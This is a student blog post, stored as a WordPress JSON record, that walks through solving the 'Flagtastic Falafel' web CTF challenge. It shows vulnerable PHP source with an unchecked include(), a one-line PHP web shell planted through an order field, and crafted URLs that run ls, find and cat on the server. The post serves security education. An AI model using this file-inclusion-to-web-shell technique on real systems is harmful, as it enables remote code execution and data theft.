{"id":117,"date":"2022-11-22T00:55:27","date_gmt":"2022-11-22T00:55:27","guid":{"rendered":"https:\/\/blogs.oregonstate.edu\/paul\/?p=117"},"modified":"2022-11-22T06:35:57","modified_gmt":"2022-11-22T06:35:57","slug":"writeup-flagtastic-falafel","status":"publish","type":"post","link":"https:\/\/blogs.oregonstate.edu\/paul\/2022\/11\/22\/writeup-flagtastic-falafel\/","title":{"rendered":"Writeup: Flagtastic Falafel"},"content":{"rendered":"\n<p>NAME: flagtastic_falafel<br>CATEGORY: web<br>POINTS: 250<br>DESCRIPTION: Flagtastic Falafel just got a brand new online ordering website! The programmer told me they followed all of the security advice they heard from everyone, so it is super secure. However, with a name like &#8220;Flagtastic Falafel&#8221; there&#8217;s bound to be a flag sitting around somewhere, and I know how much y&#8217;all like flags\u2026<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"783\" height=\"1024\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-7-783x1024.png\" alt=\"\" class=\"wp-image-118\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-7-783x1024.png 783w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-7-229x300.png 229w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-7-768x1005.png 768w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-7.png 956w\" sizes=\"auto, (max-width: 783px) 100vw, 783px\" \/><\/figure>\n\n\n\n<p>Navigating to the website, we find a first-rate falafel form. Frippery foregone, fully fillable fields for finance figures following forename furnish functionality for fanatics. Fantastic!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-8.png\" alt=\"\" class=\"wp-image-119\" width=\"690\" height=\"539\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-8.png 956w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-8-300x235.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-8-768x601.png 768w\" sizes=\"auto, (max-width: 690px) 100vw, 690px\" \/><figcaption>http:\/\/flagtastic_falafel.ctf-league.osusec.org\/foods.php?food=fungal.php&amp;name=Paul&amp;credit_card_number=hunter2<br>Note: This appears to be topped with the deadly-yet-psychoactive <em>Amanita Muscaria<\/em>! Exciting!<\/figcaption><\/figure>\n\n\n\n<p>Fungal falafel freshly fried for fungal-fervent folk! Furthermore, firewall-finessers found flaws festering forth from fricked-up files.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u276f ls\nfabled.php         fetid.php        frozen.php\nfake.php           fibrous.php      fruit.php\nfamous.php         fizzy.php        fungal.php\nfancy.php          flaming.php      futuristic.php\nfantastic.php      foods.php        fuzzy.php\nfashionable.php    freaky.php       images\nfast.php           fresh.php        index.php\nfattening.php      frightening.php  test.sqlite\nferromagnetic.php  frijoles.php\nfestive.php        frosty.php\n\u276f grep -rn Thanks\nfoods.php:35:echo(\"&lt;p&gt;Thanks for your order, \"...<\/code><\/pre>\n\n\n\n<p><code>foods.php<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n  # Someone told me that I should NEVER EVER STORE UNENCRYPTED CREDIT CARD NUMBERS IN A DATABASE!!!\n    # Flagtastic Falafel takes security very seriously, so credit card numbers are stored in files instead.\n\n    # Generate a unique file name for this customer\/credit card number\n    $filename = bin2hex(random_bytes(20));\n    $order_file = fopen(\"\/orders\/\" . $filename, \"w\") or die(\"Unable to open order file for writing :-(\");\n\n    # Write order information to the file\n    fwrite($order_file, \"Customer Name: \" . $_GET&#091;\"name\"] . \"\\n\");\n    fwrite($order_file, \"Credit Card Number: \" . $_GET&#091;\"credit_card_number\"] . \"\\n\");\n    fwrite($order_file, \"Order: \" . $_GET&#091;\"food\"] . \"\\n\\n\");\n\n    # Close the file\n    fclose($order_file);\n\n    # Record other order information in database (don't worry, credit card data is not stored in database)\n    $db = new SQLite3(\"\/orders\/orders.db\");\n    # No sql injection allowed!!\n    $stmt = $db-&gt;prepare(\"INSERT INTO orders (customer_name_hash, order_filename) VALUES (?, ?)\");\n    # Only store hash of name for security!! Storing sensitive information in the database is a no no.\n    $name_hash = hash(\"md5\", $_GET&#091;\"name\"]);\n    $stmt-&gt;bindValue(1, $name_hash);\n    $stmt-&gt;bindValue(2, $filename);\n    $stmt-&gt;execute();\n?&gt;\n\n&lt;html&gt;\n    &lt;head&gt;\n        &lt;title&gt;Flagtastic Falafel&lt;\/title&gt;\n    &lt;\/head&gt;\n    &lt;body&gt;\n        &lt;?php\n            # No XSS allowed!! (we'll have an XSS challenge at some point, but this isn't it)\n            echo(\"&lt;p&gt;Thanks for your order, \" . htmlspecialchars($_GET&#091;\"name\"]) . \"!&lt;\/p&gt;\");\n            echo(\"&lt;p&gt;We received your credit card number as \" . htmlspecialchars($_GET&#091;\"credit_card_number\"]) . \". Please ensure that it is incorrect, and submit your order again if it isn't. Thank you!&lt;\/p&gt;\");\n            echo(\"&lt;p&gt;Here's what you ordered:&lt;\/p&gt;\");\n            include($_GET&#091;\"food\"]);\n        ?&gt;\n    &lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n\n\n<p>Phew!<\/p>\n\n\n\n<p>I&#8217;m trying to turn my brain off f-word mode but I&#8217;m finding it difficult. Anyways, let&#8217;s find some festering flaws in these files.<\/p>\n\n\n\n<p>This code:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Generates a random filename<\/li><li>Writes the customer&#8217;s name, number, and food to that file<\/li><li>Inserts that filename and a md5 hash of the customer&#8217;s name into a database<\/li><li>The database is at \/orders\/orders.db, by the way<\/li><li>Includes a file on the page. (food, a URL-passed parameter)<\/li><\/ol>\n\n\n\n<p>It&#8217;s looking promising. If we can figure out the name of a file on the server, we can pass it in the URL as the food parameter. If it&#8217;s PHP, the server will run whatever  code is in that file. In our case, the contents of the file is our name, credit card number, and order. We have control over the name and therefore its hash, so hopefully this isn&#8217;t too difficult.<\/p>\n\n\n\n<p>First, let&#8217;s dump the database through the food parameter. <code>%2F<\/code> is a URL-encoded slash.<\/p>\n\n\n\n<p><code>http:\/\/flagtastic_falafel.ctf-league.osusec.org\/foods.php?food=%2Forders%2Forders.db<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-9-edited.png\" alt=\"\" class=\"wp-image-122\" width=\"690\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-9-edited.png 734w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-9-edited-300x300.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-9-edited-150x150.png 150w\" sizes=\"(max-width: 734px) 100vw, 734px\" \/><figcaption> <\/figcaption><\/figure>\n\n\n\n<p>This is messy and I couldn&#8217;t load it into a database viewer, so it was necessary to print it as base64:<\/p>\n\n\n\n<p><code>http:\/\/flagtastic_falafel.ctf-league.osusec.org\/foods.php?food=%2Forders%2Forders.db&amp;name=paul&amp;credit_card_number=number<\/code><\/p>\n\n\n\n<p>This works (trust me), and we can search for our order with <code>SELECT * FROM 'orders' where customer_name_hash = \"6c63212ab48e8401eaf6b59b95d816a9\"<\/code>. The hash is md5(&#8220;paul&#8221;).<\/p>\n\n\n\n<p>This gives us a filename, and requesting <code>http:\/\/flagtastic_falafel.ctf-league.osusec.org\/foods.php?food=\/orders\/e633fd358812c5346a1c25ad4f3a55c34abb6aff<\/code>, where the random bits at the end are the <code>order_filename<\/code> matching our <code>customer_name_hash<\/code>. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"140\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-10.png\" alt=\"\" class=\"wp-image-121\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-10.png 950w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-10-300x44.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-10-768x113.png 768w\" sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><figcaption> <\/figcaption><\/figure>\n\n\n\n<p>Cool!<\/p>\n\n\n\n<p>OK, so we can render the contents of a file. What happens if this content is PHP? And what happens if it&#8217;s a PHP webshell? Let&#8217;s make another order with our financial information set to a webshell that reads an arbitrary system command: <code>&lt;?php passthru($_GET[\"cmd\"]) ?&gt;<\/code>.<\/p>\n\n\n\n<p>So, setting that as our credit card and going through the same process will let us execute any command &#8211; let&#8217;s start with <code>ls<\/code>, as our flag will surely be in the same directory as the server, right?<\/p>\n\n\n\n<p><code>http:\/\/flagtastic_falafel.ctf-league.osusec.org\/foods.php?food=\/orders\/02055275dfae65a04f377d12e085616dce777254&amp;cmd=ls<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"178\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-11.png\" alt=\"\" class=\"wp-image-123\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-11.png 950w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-11-300x56.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-11-768x144.png 768w\" sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><figcaption> <\/figcaption><\/figure>\n\n\n\n<p>Nailed it! Now all we&#8217;ve got to do is swap <code>ls<\/code> with <code>cat<\/code> <code>flag.txt<\/code> and we&#8217;re golden!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"821\" height=\"174\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-12.png\" alt=\"\" class=\"wp-image-124\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-12.png 821w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-12-300x64.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-12-768x163.png 768w\" sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><figcaption> <\/figcaption><\/figure>\n\n\n\n<p>Unbeleaguered, we carry on.<code> find \/ -name flag.txt<\/code> might show another flag.<\/p>\n\n\n\n<p><code>\/var\/www\/html\/flag.txt \/definitely_not_the_flag_dont_look_here\/yeah_this_isnt_the_flag\/turns_out_it_was_a_directory\/haha_that_one_was_too\/ok_enough_of_this_heres_the_flag\/flag.txt \/definitely_not_the_flag_dont_look_here\/yeah_this_isnt_the_flag\/turns_out_it_was_a_directory\/haha_that_one_was_too\/ok_enough_of_this_heres_the_flag\/flag.txt\/flag.txt \/orders\/flag.txt Order:<\/code><\/p>\n\n\n\n<p>This is a lot to go through, so let&#8217;s read all the flags with <code>find \/ -name flag.txt -exec cat {} \\;<\/code><\/p>\n\n\n\n<p>Our final URL payload is <code>http:\/\/flagtastic_falafel.ctf-league.osusec.org\/foods.php?food=\/orders\/02055275dfae65a04f377d12e085616dce777254&amp;cmd=find%20\/%20-name%20flag.txt%20-exec%20cat%20{}%20\\;<\/code><\/p>\n\n\n\n<p>Which prints out <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"729\" height=\"216\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-13.png\" alt=\"\" class=\"wp-image-125\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-13.png 729w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/11\/image-13-300x89.png 300w\" sizes=\"auto, (max-width: 729px) 100vw, 729px\" \/><figcaption> <\/figcaption><\/figure>\n\n\n\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=dQw4w9WgXcQ\">Which gives us a link to a Youtube video that <\/a>contains the flag!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>NAME: flagtastic_falafelCATEGORY: webPOINTS: 250DESCRIPTION: Flagtastic Falafel just got a brand new online ordering website! The programmer told me they followed all of the security advice they heard from everyone, so it is super secure. However, with a name like &#8220;Flagtastic Falafel&#8221; there&#8217;s bound to be a flag sitting around somewhere, and I know how much &hellip; <a href=\"https:\/\/blogs.oregonstate.edu\/paul\/2022\/11\/22\/writeup-flagtastic-falafel\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Writeup: Flagtastic Falafel<\/span><\/a><\/p>\n","protected":false},"author":11809,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-117","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/users\/11809"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/comments?post=117"}],"version-history":[{"count":3,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/117\/revisions"}],"predecessor-version":[{"id":128,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/117\/revisions\/128"}],"wp:attachment":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/media?parent=117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/categories?post=117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/tags?post=117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}